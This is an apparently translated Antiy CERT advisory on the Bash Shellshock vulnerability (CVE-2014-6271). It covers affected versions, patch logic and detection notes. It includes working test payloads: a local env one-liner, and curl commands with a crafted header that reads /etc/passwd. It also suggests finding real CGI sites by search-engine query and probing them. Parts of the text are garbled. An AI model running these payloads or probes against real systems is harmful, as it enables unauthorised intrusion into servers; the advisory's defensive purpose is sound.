A Comprehensive Analysis on Bash Shellshock (CVE-2014-6271)_V1.53 ——Series One of Bash Shellshock Analysis

A Comprehensive Analysis on Bash Shellshock (CVE-2014-6271)_V1.53

——Series One of Bash ShellshockAnalysis

Security Research and Emergency Response Center of Antiy Labs




First Release Time: 10:00, September 25, 2014

Update Time of This Version: 11:20, October 13, 2014





Bash Shellshock



Response Level


Relevant CVE No.




Date of

Mid-September, 2014




Linux/Unix system

In September 24th, 2014 Bash was announced to have
remote code execution vulnerability, the Security Research and Emergency
Response Center of Antiy Labs (Antiy CERT) determined according to the
information at the first time, having confirmed that this vulnerability is
wildly distributed and might lead to serious effects. Therefore, Antiy CERT
started the A level risk emergency response at 5:30 am on September 24.

Antiy CERT carried out strict analysis and
verification on this vulnerability, confirming that it has impact on the Linux
and Mac OSX operation systems, including but not limited to Redhat, CentOS,
Ubuntu, Debian, Fedora, Amazon, Linux and OS X10.10. It can execute the wanted
attack code scripts by means of constructing values of the environment variable.
The vulnerability may influence several applications have interaction with it,
including HTTP, OpenSSH, DHCP etc. According to the current situations of
vulnerability verification and POC, this vulnerability will severely affect the
safety of network infrastructure, including but not limited to network
appliances, network security devices, cloud and big data center. Specifically,
as Bash is distributed and located wildly in devices, the eliminating process
will last very long. Meanwhile, it can be easily used to write worms for
automatic propagation, which will result in the development of botnet. Currently,
several foreign security organizations have made alarms.

Note 1: the description of Bash quoted from
Wikipediais:“Bash is a kind of Unix shell. The first official version released
in 1989 was written for the GNU Project. It has been distributed widely as the
shell for the GNU operating system and as a default shell on Linux and Mac OS X
10.4. It has been ported to Microsoft Windows and distributed with Cygwin and
MinGW, to DOS by the DJGPP project, to Novell NetWare and to Android via
various terminal emulation applications. ”

Note 2: A-level is the highest level for threats
identified by Antiy. Targeting at the worm outbreaks and severe vulnerabilities
that may cause large-scale network jams as well as the severe threats that may
endangers critical information systems and infrastructures, Antiy will start
A-level response. The specific response requirements are as follows:
unconditionally terminating the current work of the analysis team, immediately
establishing an analysis group, starting fast analysis, informing CERT and
other relevant management departments; continuously tracing the threat,
persistently updating relevant analysis and response documents. This is the
second time for Antiy to start A-level response with “Heartbleed” vulnerability
as the first one. Since the establishment of threat response classification
mechanism, Antiy has started A-level response for the following incidents: Worm
Dvldr, WormSasser, WormBlaster, SQL Slammer, WormMocbot,
熊猫烧香and so on.

According to the retrieval information, the
discoverer is StéphaneChazelas, a French GNU/LINUX researcher. The date of
discovery is mid-September, 2014, and the release date is September 24th,

Table 31 List of Released Vendors

Table 32 The Affected Platforms and Versions

Operating System Version Solution

Red Hat
Enterprise Linux

Hat Enterprise Linux 4 Extended Lifecycle Support – bash-3.0-27.el4.2
5 Red
Hat Enterprise Linux 5 – bash-3.2-33.el5.1
Hat Enterprise Linux 5.6 Long Life – bash-3.2-24.el5_6.1
Hat Enterprise Linux 5.9 Extended Update Support – bash-3.2-32.el5_9.2
6 Red
Hat Enterprise Linux 6 – bash-4.1.2-15.el6_5.1
Hat Enterprise Linux 6.2 Advanced Update Support – bash-4.1.2-9.el6_2.1
Hat Enterprise Linux 6.4 Extended Update Support – bash-4.1.2-15.el6_4.1
7 Red
Hat Enterprise Linux 7 – bash-4.2.45-5.el7_0.2
CentOS 5 bash-3.2-33.el5.1
6 bash-4.1.2-15.el6_5.1
7 bash-4.2.45-5.el7_0.2
Ubuntu 10.04 bash
12.04 bash
14.04 bash
Fedora 19 bash-4.2.47-2.fc19
20 bash-4.2.47-4.fc20
21 bash-4.3.22-3.fc21
Debian 4.1-3 4.1-3+deb6u1
4.2+dfsg-0.1 4.2+dfsg-0.1+deb7u1
4.3-9 4.3-9.1
Amazon Linux AMI bash-4.1.2-15.19

Note 3: you can download from http://ftp.gnu.org/pub/gnu/bash/.

Antiy CERT has verified that there is CVE-2014-6271
vulnerability of Bash version in Red Hat,CentOS, Ubuntu, Fedora, Amazon Linux
and OS X 10.10. Meanwhile, Bash is wildly applied at various mainstream
operating systems, so the influenced scope includes but not limited to UNIX, Linux
and Mac OS X, and the data is of high-risk threat. The deployment of the
vulnerability is carried out by various applications that have interaction with
it, including HTTP, OpenSSH, and DHCP etc.

Antiy CERT has verified the factory-preinstalled
Android OS which is not supportive to ENV command, assuming that there is
little chance for Android OS to be affected by this vulnerability.

The current environment variables that Bash used
are called by the name of functions. The problem is Bash does not exit after
the environment variable defined by “(){” is parsed to function in ENV command,
continuing parsing and executing shell command. And the core reason is there is
no strict limitations to boundaries in the import filtering and no legitimate
parameter determination.

The patch executes legitimate filtering of the
parameters. The patch program carries out detections of boundary legitimation
by importting command in parse_and_execute functions of /builtins/evalstring.c,
which has eliminated the possibility of code injection.We mainly used 2 times
of flags judgments and one time of type matching of command. In order to be
accurate, we pre-defined SEVAL_FUNCDEF and SEVAL_ONECMD as judgment basis. There
are 3 patches of this vulnerability, achieving filtering function by importting


SEVAL_FUNCDEF  0x080                 /*
only allow function definitions */
SEVAL_ONECMD   0x100                 /*
only allow a single command */


if ((flags & SEVAL_FUNCDEF) && command->type !=
                   {                   internal_warning
(“%s: ignoring function definition attempt”, from_file);
= 0;
= last_command_exit_value = EX_BADUSAGE;



(flags & SEVAL_ONECMD)

According to the above theory, the basic reason
relies on the achieving of ENV command. Therefore, this vulnerability itself cannot
lead to remote code execution. It must get help from the third party service
program (It must also meet several conditions before they can play the role of
media.) as a media to realize the goal of remote code execution. For instance,
Antiy CERT has verified apache2 can be the media. The CGI components of apache2
meet the data parse function executed by ENV command. Specifically, you can
refer to Figure5-1:  Vulnerability CVE-2014-6271 Achieving Remote Code


Figure 51 Vulnerability CVE-2014-6271 Achieving
Remote Code Execution

The current Bash script can support custom
functions by exporting environment variables and transfer the custom functions
to the relevant child process. Generally, the code inside the function cannot
be executed; however, this vulnerability will incorrectly execute the commands
outside the curly braces. Antiy CERT carries out a detailed verification on Bash
Shellshock, including local verification, remote simulation verification and
remote real verification. The remote verification tests httpd server with CGI
on. When CGI is executed, Bash is called to process Referer, host, UserAgent, header
as environment variables. Besides, Antiy CERT also verified the attack approach
of DHCP using Bash Shellshock.

1.       Local verification

Executing the following
commands in shell:

x='() { :;}; echo Vulnerable CVE-2014-6271 ‘ bash -c “echo test”

After then, if VulnerableCVE-2014-6271
occurs, it proves that the system has vulnerability, which can change VulnerableCVE-2014-6271
to arbitrary command.

a.       The vulnerability
verification of Linux Debian OS:


b.       The vulnerability
verification of OS X 10.10:


2.       Remote verification

a.       Simulating
verification approach: suitable for theory verification.

1)   Install
and deploy apache sever under Ubuntu

l  Install apache2 server

#sudo apt-get
install apache2

l  Deploy apache2 server

The deployment file is
located at /etc/apache2/sites-enabled/000-default

l  Use vi to open the deployment


l  Modify two of the sentences into:


/cgi-bin/ /var/www/html/cgi-bin/

2)   Compile
the test files of WEB service

l  Edit thetest files of


“Content-type: text/html”

l  Then
restart the service:

#sudo/etc/init.d/apache2 restart

3)   Remote

l  The
test command is as follows:

-H ‘x: () { :;};a=`/bin/cat /etc/passwd`;echo $a’ ‘http://IP

The command can change a=`/bin/cat /etc/passwd`;echo $a into arbitrary one to execute.


b.       Real verification
approach: suitable for network administrative department to practice general
investigation of network.

1)        Conduct
website query on potential vulnerability by searching engines, taking google as
an example:

Query: inurl:/cgi-bin/

2)        Extract
the queriedurl, and replace the following “

curl -H ‘x: () { :;};a=`/bin/cat
/etc/passwd`;echo $a’ ‘
替换URL‘ -I

3)        It
vulnerability exists, the result of simulation verification approach will reproduce,
which is a basis to determine the scope and risk level; we can also attempt to
connect by constructing path (such as IP/cgi-bin/update.sh and IP/cgi-bin/admin.sh
) without searching engines, whichconsumes a large number of resources to
conduct invalid connecting.

Users can apply the approached to compile and
deploy scripts, processes or snort principles, as well as batch detection of
operation systems. When detecting HTTP, it can also detect the information
strings of Referer, host, UserAgent and header and the corresponding hex “\x28\x29\x20\x7b”.

We are still trying to do further attack captures
and feature extractions.

Note 4: there is something wrong with the
detection principle of the previous version, while this version is improved
after being corrected by netizen@TeLeMan, you can find it atAcknowledgement.

1) The vulnerability may bypass the configuration of
ForceCommand in sshd to execute arbitrary commands;

2) If the CGI script is written in Bash, then the
Apache servers using mod_cgi or mod_cgid will be affected;

3) The DHCP client invokes the shell script to make
the configuration, which may allow arbitrary commands to be executed;

4) All daemon and SUID/privileged programs may
execute the shell script, modify the user settings, affect the environment
variables and allow arbitrary commands to be executed.

1) The verification method introduced in section 6
can be used to determine whether the vulnerability exists. If it does, the
solution given in Section 3 can be used to make the update.

2) Update the Bash source code, make bounds checking and parameters
filtering for the implementation part of the ENV command, strictly scope the
range of function definitions and make legal parameter determination.

The report may not be updated again since we will
pay our attention to the detection and judgment of the Bash vulnerability.
Antiy Labs as an Anti-malware and Anti-APT team doesn’t play the role of making
depth analysis on vulnerabilities.

This is the second time Antiy CERT has made
A-level response this year. The first time is for HeartBleed. When we make
recalling to the Antiy’s A-level memory, we see many familiar names—Dvldr, Blaster,

In the few years before HeartBleed, threats are
becoming highly-targeted. Antiy Labs turns to analyze more complex and
well-designed APT attacks. We have not triggered A-level response for several
years. When HeartBleed came, we were so flustered. We were no longer used to
wake up earlier in our dream. We found the fundamental environment should be
set up again. For a long time, we thought ourselves as detectives investigating
and collecting evidence in the crime scenes. But suddenly, fires
were burning all over the city and our task turned to fight the fire
immediately. For security analysts, throwing yourself into the file battle can
evoke agility and passion. 

Security never stops
because threats never stop.

When our CERT leader Lee was visiting McAfee, he
was motivated by the logo of “Safe Never Sleeps”. But what motivated him more
was the brightly lit building of McAfee in night. For Bash, what we have done
is still superficial. But compared to the performance when we faced HeartBleed,
we can take it easier. Especially when we were woken up again in the early
morning, we have reacted from biting the bullet to knee-jerk getting up.

Security is difficult to box out
because threats are unexpected.

From 2004, the technologies of DEP, ALSR are
gradually introduced to the mainstream systems. Remote fatal threats and
large-scale worms are obviously decreasing. Unpublicized 0day tools are
possibly used as secret weapons. No more malware names are known to the public.
This gives people a kind of illusion and vain security vision. For users who
believe they can guard their computers by credibility and proactive defense,
they usually forget script with which security mangers have a love-hate

Security is difficult to
be perfect because time is not on the defender side.

It is a fact no matter for a
blitzkrieg or a long-time latent war. HeartBleed
had shadowed for 3 years before it was discovered. Bash may have
existed for 10 years. In the long time, it was always sleeping or has become a
weapon, we do not know. It is also difficult to judge whether the vulnerability
is just a mistake or well-designed.  But what can be imagined is that any
security disaster is destined to become the script of conspiracy.

Security makes slow
progress because people always take security as a matter of course.

HeartBleed and Bash both come from open-source
systems. Too many kind people believe that the security of open-source systems
is guaranteed by numerous defenders, auditors and users. No matter it is the
HeartBleed or Bash, many developers and compliers have passed the related codes
in a blink, but for the attackers, they may have studied the codes for a long
time. There is no point in making the comparison between open-source and
closed-source. What we want to emphasize is that open-source does not equal

Security is difficult to
improve because threats are generalized and inherited.

From the PC era, the mobile era to the era of
wearable devices and smart home, usability and convenience are rapidly
developing and progressing. New devices tend to have higher CPU clock speed and
more complex operating systems. But the existing security experiences and
methods do not update effectively. The fact that the vulnerabilities like
HeartBleed and Bash appeared in more fields brings more complex security
situation. While in future, the function collaboration, cross accessing and
data sharing between heterogeneous devices will make the security situation
more and more complex and difficult to solve. 

threats come in flocks, we may be overwhelmed. But as a security engineer, we
should remind ourselves not losing the confidence and belief on security as
well as the expectation for IT development. Security is not all about
information technology. What we should do is to guarantee the rapidly developing
and convenient world. 

In the analysis for Bash, Antiy CERT has got much
support and help:

l  Thanks for the information shared by Lenxwei in
WeChat. It helps us initiate the analysis response early in the morning.

l  Thanks for the guide and feedback by CNCERT/CC.

l  Thanks for the correction concerning network
detection by Sinanetizen @TeLeMan. 

l  Thanks for the help from Knownsec and 360.

l  Thanks for the support by Du Yuejin, Huang
Sheng, Yu Xian, Pan Zhuting and Zhao Liang.

The translation of Bash as 破壳comes from an online
discussion in X-CERT which is a loosely structured SNS-based organization.

The following is concluded according to The
Description about Bash by X-CERT

The Chinese name of this vulnerability is defined
after the X-CERT discussion on the afternoon of September 27. The detailed
process is as bellowed. One of the initiators of X-CERT—Du Yuejin proposes that
a Chinese name should be given to the vulnerability. As the vulnerability exploits
shell which means
[ke] in Chinese and Bash begins with the
pronunciation of [ba:],it is named by Huang Sheng as
[ba][ke] which is approved by members. But he believes the name not
expressive and elegant. In the subsequent discussion, Xiao Xinguang in Antiy
Labs proposes the name of
[po][ke] which is celebrated by Yu
Xian(Knownsec), Zhao Liang(NSFOCUS), Pan Zhuting(Venustech), TanXiaosheng(360),
Wang Qi(KEEN) and other members. So the vulnerability is officially names as

Appendix 3Domestic References

[1]      Knowsec: Bash 3.0-4.3 Command Execution Vulnerability Analysis


[2]      Knowsec:BashBug(Shellshock)Emergency overview


[1]      Wikipedia:


[2]      Resolution
for Bash Code Injection Vulnerability via Specially Crafted Environment
Variables (CVE-2014-6271, CVE-2014-7169) in Red Hat Enterprise Linux


[3]      [CentOS]
Critical update for bash released today By Jim Perrin jperrin


[4]      CVE-2014-6271
in Ubuntu (Canonical Ltd.)


[5]      oss-sec
mailing list archives


[6]      Bash
specially-crafted environment variables code injection attack


[7]      Bash
bug as big as HeartbleedBy Robert Graham


[8]      CVE-2014-6271


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please refer to:
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please refer to: http://www.antiy.cn

Appendix 6: Versions

Time Version Contents
2014-9-25 10:00 V1.0 alarm version, naming of the
vulnerability, description of the principle, affected platforms and scopes,
quick solutions, suggestions for users
2014-9-25 12:50 V1.1 local verification, influence,
update for the affected platforms and scopes
2014-9-26 01:40 V1.2 remote vulnerability
verification, remote code-executing principle analysis, detection methods
2014-9-26 14:30 V1.3 increased remote verification
methods, patch code analysis
2014-9-27 00:50 V1.4 summary, the detection part
2014-9-27 15:30 V1.5 summary revised, the whole
document structure revised, PFD versions added
2014-9-28 17:46 V1.51 the detection part
revised, acknowledgement
added, misspellings revised
2014-9-29 13:20 V1.52 the acknowledgement part
revised,domestic references part revised,about Antiy Labs added.
2014-10-13 11:20 V1.53